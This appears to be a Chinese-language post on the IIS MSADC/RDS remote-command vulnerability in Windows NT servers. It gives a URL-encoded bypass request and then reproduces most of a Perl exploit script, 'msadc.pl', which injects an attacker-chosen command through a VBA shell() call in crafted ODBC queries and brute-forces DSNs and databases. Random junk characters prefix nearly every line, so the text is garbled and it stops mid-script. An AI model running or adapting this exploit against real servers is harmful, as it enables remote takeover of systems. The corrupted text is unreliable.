IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
*Nur>11D I8{
mk h 涉及程序:
DY1"t7
9E Microsoft NT server
Hh*
KcIRX UHBMl>~z 描述:
#q6#nfi" 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Z=(Tq1t q I*7ToBJ 详细:
hpYW1kfQl 如果你没有时间读详细内容的话,就删除:
_,3%)sn-) c:\Program Files\Common Files\System\Msadc\msadcs.dll
z[0tM&pv 有关的安全问题就没有了。
yacN=]SW5 $ J!PSF8PL 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
piXL6V @c #?'@?0<6 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
;Swy5z0=ro 关于利用ODBC远程漏洞的描述,请参看:
g1~wg$`S8S L+8O
4K{ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm s\0,@A C@u}tH
) 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Op:$7hv http://www.microsoft.com/security/bulletins/MS99-025faq.asp Bv#?.0Ez; huvn_ 这里不再论述。
rTim1<IXR H{1'- wB 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
_}tPtHPa/ B(Er/\-@U /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
'1X^@]+6 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
,>Dpt< }H|'W[Q. F12$BKDH #将下面这段保存为txt文件,然后: "perl -x 文件名"
|qpFR)l .TNGiUzG #!perl
?nZe.z-%6 #
WG
+] # MSADC/RDS 'usage' (aka exploit) script
~bz$] o-< #
9K-,#a # by rain.forest.puppy
uobQS! #
vb3hDy # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
?0+N # beta test and find errors!
svtqX-Vj" ?%$~Bb _ use Socket; use Getopt::Std;
yYdh+ x
getopts("e:vd:h:XR", \%args);
d
'\^S} 0 gR_1~3 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
S}qGf%
rA}mp] if (!defined $args{h} && !defined $args{R}) {
hBVm;` print qq~
WD! " $ Usage: msadc.pl -h <host> { -d <delay> -X -v }
RxNLn/?d@ -h <host> = host you want to scan (ip or domain)
YL78cWOs -d <seconds> = delay between calls, default 1 second
&3 Ki -X = dump Index Server path table, if available
<{@ D^L6h -v = verbose
\U##b~Z,g -e = external dictionary file for step 5
Y#6LNI {?"X\5n0 Or a -R will resume a command session
H )CoByaj '-cayG ~; exit;}
+ej5C:El_} z?F`)} $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
?@kz`BY if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
I!SIy&=W if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
xM@s`s|n if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
]9c{qm}y $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
{fjBa,o
# if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
| g1Cs KZa6*,,s if (!defined $args{R}){ $ret = &has_msadc;
(!qfd
Qq# die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
C6h[L :qzhkKu print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Q)lD2 . "cmd /c ";
_dW#[TCF $in=<STDIN>; chomp $in;
#{#k;va $command="cmd /c " . $in ;
y&bZai8WlE e+:X%a4\ if (defined $args{R}) {&load; exit;}
A/"2a55 'St?nW3 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
TK%q}bK, &try_btcustmr;
Y88N*axDW. g"kET]KP" print "\nStep 2: Trying to make our own DSN...";
Q
laoa)d# &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
VJl0UM3{J 0C\cM92o print "\nStep 3: Trying known DSNs...";
s,AJR
[ &known_dsn;
2.]d~\ Dy8H(_ print "\nStep 4: Trying known .mdbs...";
(bpRX$is &known_mdb;
;C=V- r eW8{],B if (defined $args{e}){
2aX$7E? print "\nStep 5: Trying dictionary of DSN names...";
Z9q4W:jyS &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
.mcohfR S%B56|' print "Sorry Charley...maybe next time?\n";
Ye$;
d ~ exit;
7G*rxn"d g9NE>n(3 ##############################################################################
s@GE(Pu7 1ox#hQBoS sub sendraw { # ripped and modded from whisker
ma!C:C9#J sleep($delay); # it's a DoS on the server! At least on mine...
>< P<k& my ($pstr)=@_;
7=Pj}x) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
j>l die("Socket problems\n");
Bjj=UtI if(connect(S,pack "SnA4x8",2,80,$target)){
~)[pL(4 select(S); $|=1;
2oOos%0 print $pstr; my @in=<S>;
t
o8J
select(STDOUT); close(S);
T 1_B0H2 return @in;
0c1=M|2 } else { die("Can't connect...\n"); }}
8~~ k? ,-8Xb+!8I ##############################################################################
/m,i,NX07 b\zq,0% sub make_header { # make the HTTP request
2(Yg',aMY- my $msadc=<<EOT
)?$@cvf POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
>n(dyU @ User-Agent: ACTIVEDATA
Sa0IRC<LV Host: $ip
TTbJ9O<43 Content-Length: $clen
s&Al4>}.f Connection: Keep-Alive
cIC/3g}] uEG4^ ADCClientVersion:01.06
5e1oxSU Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Gpcordt/ PRx- 0S --!ADM!ROX!YOUR!WORLD!
1?3+> Content-Type: application/x-varg
#W
l^!)#j? Content-Length: $reqlen
%_CL/H
.Cs'@[Ciy EOT
-o~n06p ; $msadc=~s/\n/\r\n/g;
O1\25D return $msadc;}
>Z<ZT 7GG`9!l]D ##############################################################################
UH;bg}=8 B1s&2{L6K sub make_req { # make the RDS request
%e)vl[:} my ($switch, $p1, $p2)=@_;
Y,EF'Ot my $req=""; my $t1, $t2, $query, $dsn;
+JY8"a97> UV av^<_ if ($switch==1){ # this is the btcustmr.mdb query
(Q
^=^s| $query="Select * from Customers where City=" . make_shell();
w5rtYTI $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
6c27X/'Z $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
2PUB@B'
+ [;4ak)! elsif ($switch==2){ # this is general make table query
I9rQX9#B
$query="create table AZZ (B int, C varchar(10))";
Z#[%JUYp' $dsn="$p1";}
+ZGH k6GQH@y! elsif ($switch==3){ # this is general exploit table query
xDSiTp=)O $query="select * from AZZ where C=" . make_shell();
qW|h"9sr $dsn="$p1";}
~X %cbFom= HZS.%+2 elsif ($switch==4){ # attempt to hork file info from index server
m!!;CbPo $query="select path from scope()";
6 b?K-)kL $dsn="Provider=MSIDXS;";}
R/Sm [u J<] elsif ($switch==5){ # bad query
[D(JEO@ : $query="select";
V$;`#J$\b $dsn="$p1";}
gp~-n7'~O O U9{Y9e $t1= make_unicode($query);
r2PN[cLu| $t2= make_unicode($dsn);
Ol<LL#<j4 $req = "\x02\x00\x03\x00";
9&<c)sS&B $req.= "\x08\x00" . pack ("S1", length($t1));
1=E}X5 $req.= "\x00\x00" . $t1 ;
(!0_s48f $req.= "\x08\x00" . pack ("S1", length($t2));
*UJB*r $req.= "\x00\x00" . $t2 ;
45iO2W uur $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
n<HF] return $req;}
yp@cn(:~ UfV {m
##############################################################################
QwF.c28[ p]Qe5@NT sub make_shell { # this makes the shell() statement
a9_2b}t return "'|shell(\"$command\")|'";}
e8egxm p)"EenUK ##############################################################################
u:J4Az^! 6W7,EIf sub make_unicode { # quick little function to convert to unicode
: 0Y.${h my ($in)=@_; my $out;
d(9Sk Xr for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
'd;aAG return $out;}
)cZ KB0*+ .>PwbZ ##############################################################################
jv1p'qs4 K@!hrye sub rdo_success { # checks for RDO return success (this is kludge)
)=aqj@v my (@in) = @_; my $base=content_start(@in);
*/TO$ ^s if($in[$base]=~/multipart\/mixed/){
A e2Y\ sAV return 1 if( $in[$base+10]=~/^\x09\x00/ );}
@Eh(GZN return 0;}
XRyeEwA;pp m9jjKu]| ##############################################################################
;i+(Q%LO `Pwf?_2n- sub make_dsn { # this makes a DSN for us
2)n%rvCQ my @drives=("c","d","e","f");
Gz8JOl print "\nMaking DSN: ";
LUz`P6 foreach $drive (@drives) {
Pl#u,Y print "$drive: ";
L=s8em]7l my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
20` XklV "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
L ]BTX] . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
73tjDO7d $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
d)XT> & return 0 if $2 eq "404"; # not found/doesn't exist
r8FAV9A if($2 eq "200") {
^<v.=7cL0 foreach $line (@results) {
Qt^6w}& return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
eU-A_5 } return 0;}
FgPmQ zx"0^r} ##############################################################################
4xFAFK~lx @:!% Z` sub verify_exists {
mt e3k=17 my ($page)=@_;
,c;#~y my @results=sendraw("GET $page HTTP/1.0\n\n");
*|0W3uy\Y return $results[0];}
Z vyF"4QN *0'{n*> ##############################################################################
*S4&V<W> 6+PP(>em sub try_btcustmr {
dPgA~~ my @drives=("c","d","e","f");
y6s/S. my @dirs=("winnt","winnt35","winnt351","win","windows");
}:0HM8B7! 6jl{^dI foreach $dir (@dirs) {
6Hd^qouid print "$dir -> "; # fun status so you can see progress
DAEWa
Kui foreach $drive (@drives) {
e+@.n print "$drive: "; # ditto
AJzm/,H $reqlen=length( make_req(1,$drive,$dir) ) - 28;
$.B}zY{ $reqlenlen=length( "$reqlen" );
~ r$I&8 $clen= 206 + $reqlenlen + $reqlen;
_qQo}|/q :n
x;~f my @results=sendraw(make_header() . make_req(1,$drive,$dir));
SBw'z(U if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
_,- \; else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
[~Z#yEiW^ _tO2PIL@Z ##############################################################################
r&L1jT. Vr&v:8:wb sub odbc_error {
pcm1IwR` my (@in)=@_; my $base;
qEkhgJqk my $base = content_start(@in);
Z@Qf0
c if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
2"Y=*s $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1fF\k#BE-% $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;{n*F=%uC $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
G0ENk|wbbj return $in[$base+4].$in[$base+5].$in[$base+6];}
!A_KCM:Ym print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
2b:I. print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
mFIIqkUAL $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
v\kd78, V<REcII. ##############################################################################
>rh<%55P` _g"su# sub verbose {
b|` my ($in)=@_;
uQWd`7 return if !$verbose;
^^)\|kW? print STDOUT "\n$in\n";}
$>%zNq-F 6(HJYa ##############################################################################
L+)mZb& qZSW5lC0 sub save {
$,Y?qn/ my ($p1, $p2, $p3, $p4)=@_;
:/NP8$~@j open(OUT, ">rds.save") || print "Problem saving parameters...\n";
bHHR^*B print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
x1:1Jj: close OUT;}
+OUM 4y ZJ_P= ##############################################################################
b55G1w q?&J